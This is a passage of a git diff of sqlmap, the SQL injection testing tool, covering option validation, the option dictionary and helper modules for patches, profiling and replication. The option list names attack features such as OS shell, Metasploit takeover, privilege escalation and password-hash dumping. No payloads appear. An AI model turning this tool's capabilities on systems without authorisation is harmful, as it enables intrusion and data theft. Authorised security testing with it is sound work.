range with hyphon " errMsg += "(e.g. 1-10) or integer value (e.g. 5)" @@ -2475,33 +3070,25 @@ def _basicOptionValidation(): errMsg += "format : (e.g. \"root:pass\")" raise SqlmapSyntaxException(errMsg) - if conf.charset: - _ = checkCharEncoding(conf.charset, False) + if conf.encoding: + _ = checkCharEncoding(conf.encoding, False) if _ is None: - errMsg = "unknown charset '%s'. Please visit " % conf.charset + errMsg = "unknown encoding '%s'. Please visit " % conf.encoding errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE - errMsg += "supported charsets" + errMsg += "supported encodings" raise SqlmapSyntaxException(errMsg) else: - conf.charset = _ + conf.encoding = _ - if conf.loadCookies: - if not os.path.exists(conf.loadCookies): - errMsg = "cookies file '%s' does not exist" % conf.loadCookies - raise SqlmapFilePathException(errMsg) + if conf.fileWrite and not os.path.isfile(conf.fileWrite): + errMsg = "file '%s' does not exist" % os.path.abspath(conf.fileWrite) + raise SqlmapFilePathException(errMsg) -def _resolveCrossReferences(): - lib.core.threads.readInput = readInput - lib.core.common.getPageTemplate = getPageTemplate - lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage - lib.request.connect.setHTTPProxy = _setHTTPProxy - lib.utils.google.setHTTPProxy = _setHTTPProxy - lib.controller.checks.setVerbosity = setVerbosity + if conf.loadCookies and not os.path.exists(conf.loadCookies): + errMsg = "cookies file '%s' does not exist" % os.path.abspath(conf.loadCookies) + raise SqlmapFilePathException(errMsg) def initOptions(inputOptions=AttribDict(), overrideOptions=False): - if IS_WIN: - coloramainit() - _setConfAttributes() _setKnowledgeBaseAttributes() _mergeOptions(inputOptions, overrideOptions) @@ -2517,9 +3104,10 @@ def init(): _saveConfig() _setRequestFromFile() _cleanupOptions() - _dirtyPatches() - _purgeOutput() + _cleanupEnvironment() + _purge() _checkDependencies() + _createHomeDirectories() _createTemporaryDirectory() _basicOptionValidation() _setProxyList() @@ -2527,16 +3115,18 @@ def init(): _setDNSServer() _adjustLoggingFormatter() _setMultipleTargets() + _listTamperingFunctions() _setTamperingFunctions() - _setWafFunctions() + _setPreprocessFunctions() + _setPostprocessFunctions() _setTrafficOutputFP() - _resolveCrossReferences() - _checkWebSocket() + _setupHTTPCollector() + _setHttpOptions() - parseTargetUrl() parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)): + _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() _setHTTPCookies() @@ -2544,13 +3134,14 @@ def init(): _setHTTPHost() _setHTTPUserAgent() _setHTTPAuthentication() - _setHTTPProxy() + _setHTTPHandlers() _setDNSCache() + _setSocketPreConnect() _setSafeVisit() - _setGoogleDorking() + _doSearch() + _setStdinPipeTargets() _setBulkMultipleTargets() - _setSitemapTargets() - _urllib2Opener() + _setOpenApiTargets() _checkTor() _setCrawler() _findPageForms() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 9eb0d121a37..0b6caf96c08 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,242 +1,304 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ optDict = { - # Format: - # Family: { "parameter name": "parameter datatype" }, - # Or: - # Family: { "parameter name": ("parameter datatype", "category name used for common outputs feature") }, - "Target": { - "direct": "string", - "url": "string", - "logFile": "string", - "bulkFile": "string", - "requestFile": "string", - "sessionFile": "string", - "googleDork": "string", - "configFile": "string", - "sitemapUrl": "string", - }, - - "Request": { - "method": "string", - "data": "string", - "paramDel": "string", - "cookie": "string", - "cookieDel": "string", - "loadCookies": "string", - "dropSetCookie": "boolean", - "agent": "string", - "randomAgent": "boolean", - "host": "string", - "referer": "string", - "headers": "string", - "authType": "string", - "authCred": "string", - "authFile": "string", - "proxy": "string", - "proxyCred": "string", - "proxyFile": "string", - "ignoreProxy": "boolean", - "tor": "boolean", - "torPort": "integer", - "torType": "string", - "checkTor": "boolean", - "delay": "float", - "timeout": "float", - "retries": "integer", - "rParam": "string", - "safeUrl": "string", - "safePost": "string", - "safeReqFile": "string", - "safeFreq": "integer", - "skipUrlEncode": "boolean", - "csrfToken": "string", - "csrfUrl": "string", - "forceSSL": "boolean", - "hpp": "boolean", - "evalCode": "string", - }, - - "Optimization": { - "optimize": "boolean", - "predictOutput": "boolean", - "keepAlive": "boolean", - "nullConnection": "boolean", - "threads": "integer", - }, - - "Injection": { - "testParameter": "string", - "skip": "string", - "skipStatic": "boolean", - "dbms": "string", - "dbmsCred": "string", - "os": "string", - "invalidBignum": "boolean", - "invalidLogical": "boolean", - "invalidString": "boolean", - "noCast": "boolean", - "noEscape": "boolean", - "prefix": "string", - "suffix": "string", - "tamper": "string", - }, - - "Detection": { - "level": "integer", - "risk": "integer", - "string": "string", - "notString": "string", - "regexp": "string", - "code": "integer", - "textOnly": "boolean", - "titles": "boolean", - }, - - "Techniques": { - "tech": "string", - "timeSec": "integer", - "uCols": "string", - "uChar": "string", - "uFrom": "string", - "dnsName": "string", - "secondOrder": "string", - }, - - "Fingerprint": { - "extensiveFp": "boolean", - }, - - "Enumeration": { - "getAll": "boolean", - "getBanner": ("boolean", "Banners"), - "getCurrentUser": ("boolean", "Users"), - "getCurrentDb": ("boolean", "Databases"), - "getHostname": "boolean", - "isDba": "boolean", - "getUsers": ("boolean", "Users"), - "getPasswordHashes": ("boolean", "Passwords"), - "getPrivileges": ("boolean", "Privileges"), - "getRoles": ("boolean", "Roles"), - "getDbs": ("boolean", "Databases"), - "getTables": ("boolean", "Tables"), - "getColumns": ("boolean", "Columns"), - "getSchema": "boolean", - "getCount": "boolean", - "dumpTable": "boolean", - "dumpAll": "boolean", - "search": "boolean", - "getComments": "boolean", - "db": "string", - "tbl": "string", - "col": "string", - "excludeCol": "string", - "dumpWhere": "string", - "user": "string", - "excludeSysDbs": "boolean", - "limitStart": "integer", - "limitStop": "integer", - "firstChar": "integer", - "lastChar": "integer", - "query": "string", - "sqlShell": "boolean", - "sqlFile": "string", - }, - - "Brute": { - "commonTables": "boolean", - "commonColumns": "boolean", - }, - - "User-defined function": { - "udfInject": "boolean", - "shLib": "string", - }, - - "File system": { - "rFile": "string", - "wFile": "string", - "dFile": "string", - }, - - "Takeover": { - "osCmd": "string", - "osShell": "boolean", - "osPwn": "boolean", - "osSmb": "boolean", - "osBof": "boolean", - "privEsc": "boolean", - "msfPath": "string", - "tmpPath": "string", - }, - - "Windows": { - "regRead": "boolean", - "regAdd": "boolean", - "regDel": "boolean", - "regKey": "string", - "regVal": "string", - "regData": "string", - "regType": "string", - }, - - "General": { - #"xmlFile": "string", - "trafficFile": "string", - "batch": "boolean", - "charset": "string", - "crawlDepth": "integer", - "crawlExclude": "string", - "csvDel": "string", - "dumpFormat": "string", - "eta": "boolean", - "flushSession": "boolean", - "forms": "boolean", - "freshQueries": "boolean", - "hexConvert": "boolean", - "outputDir": "string", - "parseErrors": "boolean", - "pivotColumn": "string", - "saveConfig": "string", - "scope": "string", - "testFilter": "string", - "testSkip": "string", - "updateAll": "boolean", - }, - - "Miscellaneous": { - "alert": "string", - "answers": "string", - "beep": "boolean", - "cleanup": "boolean", - "dependencies": "boolean", - "disableColoring": "boolean", - "googlePage": "integer", - "mobile": "boolean", - "offline": "boolean", - "pageRank": "boolean", - "purgeOutput": "boolean", - "smart": "boolean", - "wizard": "boolean", - "verbose": "integer", - }, - "Hidden": { - "dummy": "boolean", - "binaryFields": "string", - "profile": "boolean", - "cpuThrottle": "integer", - "forceDns": "boolean", - "identifyWaf": "boolean", - "skipWaf": "boolean", - "ignore401": "boolean", - "smokeTest": "boolean", - "liveTest": "boolean", - "stopFail": "boolean", - "runCase": "string", - } - } + # Family: {"parameter name": "parameter datatype"}, + # --OR-- + # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")}, + + "Target": { + "direct": "string", + "url": "string", + "logFile": "string", + "bulkFile": "string", + "requestFile": "string", + "sessionFile": "string", + "googleDork": "string", + "configFile": "string", + "openApiFile": "string", + "openApiBase": "string", + "openApiTags": "string", + }, + + "Request": { + "method": "string", + "data": "string", + "paramDel": "string", + "cookie": "string", + "cookieDel": "string", + "liveCookies": "string", + "loadCookies": "string", + "dropSetCookie": "boolean", + "http2": "boolean", + "agent": "string", + "mobile": "boolean", + "randomAgent": "boolean", + "host": "string", + "referer": "string", + "headers": "string", + "authType": "string", + "authCred": "string", + "authFile": "string", + "abortCode": "string", + "ignoreCode": "string", + "ignoreProxy": "boolean", + "ignoreRedirects": "boolean", + "ignoreTimeouts": "boolean", + "proxy": "string", + "proxyCred": "string", + "proxyFile": "string", + "proxyFreq": "integer", + "tor": "boolean", + "torPort": "integer", + "torType": "string", + "checkTor": "boolean", + "delay": "float", + "timeout": "float", + "retries": "integer", + "retryOn": "string", + "rParam": "string", + "safeUrl": "string", + "safePost": "string", + "safeReqFile": "string", + "safeFreq": "integer", + "skipUrlEncode": "boolean", + "skipXmlEncode": "boolean", + "csrfToken": "string", + "csrfUrl": "string", + "csrfMethod": "string", + "csrfData": "string", + "csrfRetries": "integer", + "forceSSL": "boolean", + "chunked": "boolean", + "hpp": "boolean", + "evalCode": "string", + }, + + "Optimization": { + "optimize": "boolean", + "keepAlive": "boolean", + "noKeepAlive": "boolean", + "nullConnection": "boolean", + "threads": "integer", + }, + + "Injection": { + "testParameter": "string", + "skip": "string", + "skipStatic": "boolean", + "paramExclude": "string", + "paramFilter": "string", + "dbms": "string", + "dbmsCred": "string", + "os": "string", + "invalidBignum": "boolean", + "invalidLogical": "boolean", + "invalidString": "boolean", + "noCast": "boolean", + "noEscape": "boolean", + "prefix": "string", + "suffix": "string", + "tamper": "string", + "proof": "boolean", + }, + + "Detection": { + "level": "integer", + "risk": "integer", + "string": "string", + "notString": "string", + "regexp": "string", + "code": "integer", + "smart": "boolean", + "textOnly": "boolean", + "titles": "boolean", + }, + + "Techniques": { + "technique": "string", + "nosql": "boolean", + "graphql": "boolean", + "ldap": "boolean", + "xpath": "boolean", + "ssti": "boolean", + "xxe": "boolean", + "hql": "boolean", + "jwt": "boolean", + "oobServer": "string", + "oobToken": "string", + "timeSec": "integer", + "timeless": "boolean", + "uCols": "string", + "uChar": "string", + "uFrom": "string", + "uValues": "string", + "dnsDomain": "string", + "secondUrl": "string", + "secondReq": "string", + }, + + "Fingerprint": { + "extensiveFp": "boolean", + }, + + "Enumeration": { + "getAll": "boolean", + "getBanner": ("boolean", "Banners"), + "getCurrentUser": ("boolean", "Users"), + "getCurrentDb": ("boolean", "Databases"), + "getHostname": "boolean", + "isDba": "boolean", + "getUsers": ("boolean", "Users"), + "getPasswordHashes": ("boolean", "Passwords"), + "getPrivileges": ("boolean", "Privileges"), + "getRoles": ("boolean", "Roles"), + "getDbs": ("boolean", "Databases"), + "getTables": ("boolean", "Tables"), + "getColumns": ("boolean", "Columns"), + "getSchema": "boolean", + "getCount": "boolean", + "dumpTable": "boolean", + "dumpAll": "boolean", + "search": "boolean", + "getComments": "boolean", + "getStatements": "boolean", + "getProcs": "boolean", + "db": "string", + "tbl": "string", + "col": "string", + "exclude": "string", + "pivotColumn": "string", + "dumpWhere": "string", + "user": "string", + "excludeSysDbs": "boolean", + "limitStart": "integer", + "limitStop": "integer", + "firstChar": "integer", + "lastChar": "integer", + "sqlQuery": "string", + "sqlShell": "boolean", + "sqlFile": "string", + }, + + "Brute": { + "commonTables": "boolean", + "commonColumns": "boolean", + "commonFiles": "boolean", + }, + + "User-defined function": { + "udfInject": "boolean", + "shLib": "string", + }, + + "File system": { + "fileRead": "string", + "fileWrite": "string", + "fileDest": "string", + }, + + "Takeover": { + "osCmd": "string", + "osShell": "boolean", + "osPwn": "boolean", + "osSmb": "boolean", + "osBof": "boolean", + "privEsc": "boolean", + "msfPath": "string", + "tmpPath": "string", + }, + + "Windows": { + "regRead": "boolean", + "regAdd": "boolean", + "regDel": "boolean", + "regKey": "string", + "regVal": "string", + "regData": "string", + "regType": "string", + }, + + "General": { + "trafficFile": "string", + "abortOnEmpty": "boolean", + "answers": "string", + "batch": "boolean", + "base64Parameter": "string", + "base64Safe": "boolean", + "binaryFields": "string", + "charset": "string", + "checkInternet": "boolean", + "cleanup": "boolean", + "crawlDepth": "integer", + "crawlExclude": "string", + "csvDel": "string", + "dumpFile": "string", + "dumpFormat": "string", + "encoding": "string", + "eta": "boolean", + "flushSession": "boolean", + "forms": "boolean", + "mineParams": "boolean", + "freshQueries": "boolean", + "googlePage": "integer", + "harFile": "string", + "hexConvert": "boolean", + "outputDir": "string", + "parseErrors": "boolean", + "postprocess": "string", + "preprocess": "string", + "repair": "boolean", + "reportJson": "string", + "saveConfig": "string", + "scope": "string", + "skipHeuristics": "boolean", + "skipWaf": "boolean", + "testFilter": "string", + "testSkip": "string", + "timeLimit": "float", + "unsafeNaming": "boolean", + "webRoot": "string", + }, + + "Miscellaneous": { + "alert": "string", + "beep": "boolean", + "dependencies": "boolean", + "disableColoring": "boolean", + "disableHashing": "boolean", + "listTampers": "boolean", + "noLogging": "boolean", + "noTruncate": "boolean", + "offline": "boolean", + "purge": "boolean", + "resultsFile": "string", + "tmpDir": "string", + "unstable": "boolean", + "updateAll": "boolean", + "wizard": "boolean", + "verbose": "integer", + }, + + "Hidden": { + "dummy": "boolean", + "disablePrecon": "boolean", + "noHuffman": "boolean", + "profile": "boolean", + "forceDns": "boolean", + "murphyRate": "integer", + "smokeTest": "boolean", + "fpTest": "boolean", + "payloadLint": "boolean", + "apiTest": "boolean", + }, + + "API": { + "api": "boolean", + "taskid": "string", + "database": "string", + } +} diff --git a/lib/core/patch.py b/lib/core/patch.py new file mode 100644 index 00000000000..c7796d0615b --- /dev/null +++ b/lib/core/patch.py @@ -0,0 +1,249 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import codecs +import difflib +import inspect +import logging +import os +import random +import re +import sys + +import lib.controller.checks +import lib.core.common +import lib.core.convert +import lib.core.option +import lib.core.threads +import lib.request.connect +import lib.utils.search +import lib.utils.sqlalchemy +import thirdparty.ansistrm.ansistrm +import thirdparty.chardet.universaldetector + +from lib.core.common import filterNone +from lib.core.common import getSafeExString +from lib.core.common import isDigit +from lib.core.common import isListLike +from lib.core.common import readInput +from lib.core.common import shellExec +from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange +from lib.core.convert import stdoutEncode +from lib.core.data import conf +from lib.core.enums import PLACE +from lib.core.option import _setHTTPHandlers +from lib.core.option import setVerbosity +from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA +from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT +from lib.core.settings import IS_WIN +from lib.request.templates import getPageTemplate +from thirdparty import six +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client + +_rand = 0 + +def dirtyPatches(): + """ + Place for "dirty" Python related patches + """ + + # accept overly long result lines (e.g. SQLi results in HTTP header responses) + _http_client._MAXLINE = 1 * 1024 * 1024 + + # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing) + if six.PY3: + if not hasattr(_http_client.HTTPConnection, "__send_output"): + _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output + + def _send_output(self, *args, **kwargs): + if conf.get("chunked") and "encode_chunked" in kwargs: + kwargs["encode_chunked"] = False + self.__send_output(*args, **kwargs) + + _http_client.HTTPConnection._send_output = _send_output + + # add support for inet_pton() on Windows OS + if IS_WIN: + from thirdparty.wininetpton.win_inet_pton import inject_into_socket + inject_into_socket() + + # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 + codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) + + # Reference: http://bugs.python.org/issue17849 + if hasattr(_http_client, "LineAndFileWrapper"): + def _(self, *args): + return self._readline() + + _http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline + _http_client.LineAndFileWrapper.readline = _ + + # to prevent too much "guessing" in case of binary data retrieval + thirdparty.chardet.universaldetector.UniversalDetector.MINIMUM_THRESHOLD = 0.90 + + match = re.search(r" --method[= ](\w+)", " ".join(sys.argv)) + if match and match.group(1).upper() != PLACE.POST: + PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/4314 + try: + os.urandom(1) + except NotImplementedError: + if six.PY3: + os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size)) + else: + os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5929 + try: + import collections + if not hasattr(collections, "MutableSet"): + import collections.abc + collections.MutableSet = collections.abc.MutableSet + except ImportError: + pass + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5727 + # Reference: https://stackoverflow.com/a/14076841 + try: + import pymysql + pymysql.install_as_MySQLdb() + except (ImportError, AttributeError): + pass + + # Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py + # Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec + if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"): + ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults")) + + def makelist(data): + if isinstance(data, (tuple, list, set, dict)): + return list(data) + elif data: + return [data] + else: + return [] + + def getargspec(func): + spec = inspect.getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return ArgSpec(kwargs, spec[1], spec[2], spec[3]) + + inspect.getargspec = getargspec + + # Installing "reversible" unicode (decoding) error handler + def _reversible(ex): + if INVALID_UNICODE_PRIVATE_AREA: + return (u"".join(_unichr(int('000f00%02x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) + else: + return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) + + codecs.register_error("reversible", _reversible) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5731 + if not hasattr(logging, "_acquireLock"): + def _acquireLock(): + if logging._lock: + logging._lock.acquire() + + logging._acquireLock = _acquireLock + + if not hasattr(logging, "_releaseLock"): + def _releaseLock(): + if logging._lock: + logging._lock.release() + + logging._releaseLock = _releaseLock + + from xml.etree import ElementTree as et + if not getattr(et, "_patched", False): + _real_parse = et.parse + + def _safe_parse(source, parser=None): + if parser is None: + parser = et.XMLParser() + if hasattr(parser, "parser"): + def reject(*args): raise ValueError("XML entities are forbidden") + parser.parser.EntityDeclHandler = reject + parser.parser.UnparsedEntityDeclHandler = reject + + return _real_parse(source, parser=parser) + + et.parse = _safe_parse + et._patched = True + + try: + import builtins + except ImportError: + import __builtin__ as builtins + + if "enumerate" in difflib.__dict__ and difflib.enumerate is not builtins.enumerate: + difflib.enumerate = builtins.enumerate + +def resolveCrossReferences(): + """ + Place for cross-reference resolution + """ + + lib.core.threads.isDigit = isDigit + lib.core.threads.readInput = readInput + lib.core.common.getPageTemplate = getPageTemplate + lib.core.convert.filterNone = filterNone + lib.core.convert.isListLike = isListLike + lib.core.convert.shellExec = shellExec + lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage + lib.core.option._pympTempLeakPatch = pympTempLeakPatch + lib.request.connect.setHTTPHandlers = _setHTTPHandlers + lib.utils.search.setHTTPHandlers = _setHTTPHandlers + lib.controller.checks.setVerbosity = setVerbosity + lib.utils.sqlalchemy.getSafeExString = getSafeExString + thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode + +def pympTempLeakPatch(tempDir): + """ + Patch for "pymp" leaking directories inside Python3 + """ + + try: + import multiprocessing.util + multiprocessing.util.get_temp_dir = lambda: tempDir + except: + pass + +def unisonRandom(): + """ + Unifying random generated data across different Python versions + """ + + def _lcg(): + global _rand + a = 1140671485 + c = 128201163 + m = 2 ** 24 + _rand = (a * _rand + c) % m + return _rand + + def _randint(a, b): + _ = a + (_lcg() % (b - a + 1)) + return _ + + def _choice(seq): + return seq[_randint(0, len(seq) - 1)] + + def _sample(population, k): + return [_choice(population) for _ in xrange(k)] + + def _seed(seed): + global _rand + _rand = seed + + random.choice = _choice + random.randint = _randint + random.sample = _sample + random.seed = _seed diff --git a/lib/core/profiling.py b/lib/core/profiling.py index c212a0bb5e3..a5936beadfe 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,91 +1,29 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import codecs -import os import cProfile +import os -from lib.core.common import getUnicode from lib.core.data import logger from lib.core.data import paths -from lib.core.settings import UNICODE_ENCODING -def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): +def profile(profileOutputFile=None): """ This will run the program and present profiling data in a nice looking graph """ - try: - from thirdparty.gprof2dot import gprof2dot - from thirdparty.xdot import xdot - import gobject - import gtk - import pydot - except ImportError, e: - errMsg = "profiling requires third-party libraries (%s). " % getUnicode(e, UNICODE_ENCODING) - errMsg += "Quick steps:%s" % os.linesep - errMsg += "1) sudo apt-get install python-pydot python-pyparsing python-profiler graphviz" - logger.error(errMsg) - - return - if profileOutputFile is None: profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.raw") - if dotOutputFile is None: - dotOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.dot") - - if imageOutputFile is None: - imageOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.png") - if os.path.exists(profileOutputFile): os.remove(profileOutputFile) - if os.path.exists(dotOutputFile): - os.remove(dotOutputFile) - - if os.path.exists(imageOutputFile): - os.remove(imageOutputFile) - - infoMsg = "profiling the execution into file %s" % profileOutputFile - logger.info(infoMsg) - # Start sqlmap main function and generate a raw profile file cProfile.run("start()", profileOutputFile) - infoMsg = "converting profile data into a dot file '%s'" % dotOutputFile - logger.info(infoMsg) - - # Create dot file by using extra/gprof2dot/gprof2dot.py - # http://code.google.com/p/jrfonseca/wiki/Gprof2Dot - dotFilePointer = codecs.open(dotOutputFile, 'wt', UNICODE_ENCODING) - parser = gprof2dot.PstatsParser(profileOutputFile) - profile = parser.parse() - profile.prune(0.5 / 100.0, 0.1 / 100.0) - dot = gprof2dot.DotWriter(dotFilePointer) - dot.graph(profile, gprof2dot.TEMPERATURE_COLORMAP) - dotFilePointer.close() - - infoMsg = "converting dot file into a graph image '%s'" % imageOutputFile + infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile) logger.info(infoMsg) - - # Create graph image (png) by using pydot (python-pydot) - # http://code.google.com/p/pydot/ - pydotGraph = pydot.graph_from_dot_file(dotOutputFile) - pydotGraph.write_png(imageOutputFile) - - infoMsg = "displaying interactive graph with xdot library" - logger.info(infoMsg) - - # Display interactive Graphviz dot file by using extra/xdot/xdot.py - # http://code.google.com/p/jrfonseca/wiki/XDot - win = xdot.DotWindow() - win.connect('destroy', gtk.main_quit) - win.set_filter("dot") - win.open_file(dotOutputFile) - gobject.timeout_add(1000, win.update, dotOutputFile) - gtk.main() diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 2dc0467c495..b2980adf70e 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,26 +1,31 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.data import logger -from lib.core.settings import IS_WIN -from lib.core.settings import PLATFORM - _readline = None - try: - from readline import * import readline as _readline -except ImportError: +except: try: - from pyreadline import * import pyreadline as _readline - except ImportError: + except: pass +if _readline: + _symbols = getattr(_readline, "__all__", None) + if _symbols is None: + _symbols = (name for name in dir(_readline) if not name.startswith("_")) + + for _symbol in _symbols: + globals()[_symbol] = getattr(_readline, _symbol) + +from lib.core.data import logger +from lib.core.settings import IS_WIN +from lib.core.settings import PLATFORM + if IS_WIN and _readline: try: _outputfile = _readline.GetOutputFile() @@ -35,7 +40,7 @@ # Thanks to Boyd Waters for this patch. uses_libedit = False -if PLATFORM == 'mac' and _readline: +if PLATFORM == "mac" and _readline: import commands (status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__) @@ -56,9 +61,7 @@ # http://mail.python.org/pipermail/python-dev/2003-August/037845.html # has the original discussion. if _readline: - try: - _readline.clear_history() - except AttributeError: + if not hasattr(_readline, "clear_history"): def clear_history(): pass diff --git a/lib/core/replication.py b/lib/core/replication.py index 47660459827..a2cd5e9a30c 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,18 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import sqlite3 -from extra.safe2bin.safe2bin import safechardecode +from lib.core.common import cleanReplaceUnicode from lib.core.common import getSafeExString from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapValueException from lib.core.settings import UNICODE_ENCODING +from lib.utils.safe2bin import safechardecode class Replication(object): """ @@ -22,11 +24,19 @@ class Replication(object): def __init__(self, dbpath): self.dbpath = dbpath - self.connection = sqlite3.connect(dbpath) - self.connection.isolation_level = None - self.cursor = self.connection.cursor() - - class DataType: + self.connection = None + self.cursor = None + + try: + self.connection = sqlite3.connect(dbpath) + self.connection.isolation_level = None + self.cursor = self.connection.cursor() + except sqlite3.OperationalError as ex: + errMsg = "error occurred while opening a replication " + errMsg += "file '%s' ('%s')" % (dbpath, getSafeExString(ex)) + raise SqlmapConnectionException(errMsg) + + class DataType(object): """ Using this class we define auxiliary objects used for representing sqlite data types. @@ -41,7 +51,7 @@ def __str__(self): def __repr__(self): return "" % self - class Table: + class Table(object): """ This class defines methods used to manipulate table objects. """ @@ -57,7 +67,7 @@ def __init__(self, parent, name, columns=None, create=True, typeless=False): self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) else: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) - except Exception, ex: + except Exception as ex: errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'" % self.parent.dbpath raise SqlmapGenericException(errMsg) @@ -73,10 +83,13 @@ def insert(self, values): errMsg = "wrong number of columns used in replicating insert" raise SqlmapValueException(errMsg) - def execute(self, sql, parameters=[]): + def execute(self, sql, parameters=None): try: - self.parent.cursor.execute(sql, parameters) - except sqlite3.OperationalError, ex: + try: + self.parent.cursor.execute(sql, parameters or []) + except UnicodeError: + self.parent.cursor.execute(sql, cleanReplaceUnicode(parameters or [])) + except sqlite3.OperationalError as ex: errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" @@ -96,10 +109,12 @@ def select(self, condition=None): """ This function is used for selecting row(s) from current table. """ - _ = 'SELECT * FROM %s' % self.name + query = 'SELECT * FROM "%s"' % self.name if condition: - _ += 'WHERE %s' % condition - return self.execute(_) + query += ' WHERE %s' % condition + + self.execute(query) + return self.parent.cursor.fetchall() def createTable(self, tblname, columns=None, typeless=False): """ @@ -108,8 +123,17 @@ def createTable(self, tblname, columns=None, typeless=False): return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) def __del__(self): - self.cursor.close() - self.connection.close() + try: + if self.cursor is not None: + self.cursor.close() + except Exception: + pass + + try: + if self.connection is not None: + self.connection.close() + except Exception: + pass # sqlite data types NULL = DataType('NULL') diff --git a/lib/core/revision.py b/lib/core/revision.py index 5319f1aa35e..e5e1a1e76f3 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,54 +1,62 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import re +import subprocess -from subprocess import PIPE -from subprocess import Popen as execute +from lib.core.common import openFile +from lib.core.convert import getText def getRevisionNumber(): """ Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" + + >>> len(getRevisionNumber() or (' ' * 7)) == 7 + True """ retVal = None filePath = None - _ = os.path.dirname(__file__) + directory = os.path.dirname(__file__) while True: - filePath = os.path.join(_, ".git", "HEAD") - if os.path.exists(filePath): + candidate = os.path.join(directory, ".git", "HEAD") + if os.path.exists(candidate): + filePath = candidate break - else: - filePath = None - if _ == os.path.dirname(_): - break - else: - _ = os.path.dirname(_) - while True: - if filePath and os.path.isfile(filePath): - with open(filePath, 